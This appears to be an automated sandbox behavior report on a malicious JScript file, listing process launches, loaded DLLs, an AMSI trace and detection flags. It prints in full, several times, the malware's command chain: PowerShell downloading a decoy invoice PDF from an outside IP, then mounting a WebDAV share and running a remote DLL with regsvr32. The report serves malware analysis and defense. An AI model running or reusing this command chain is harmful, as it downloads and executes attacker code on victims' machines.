Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2244 --field-trial-handle=1624,i,4181762656406435566,11372842730605597265,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\154993128028088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2244 --field-trial-handle=1624,i,4181762656406435566,11372842730605597265,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3776.js.csv");ITextStream.WriteLine(" entry:7685 f:stdmxlmye");ITextStream.WriteLine(" exec:2 f:stdmxlmye");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
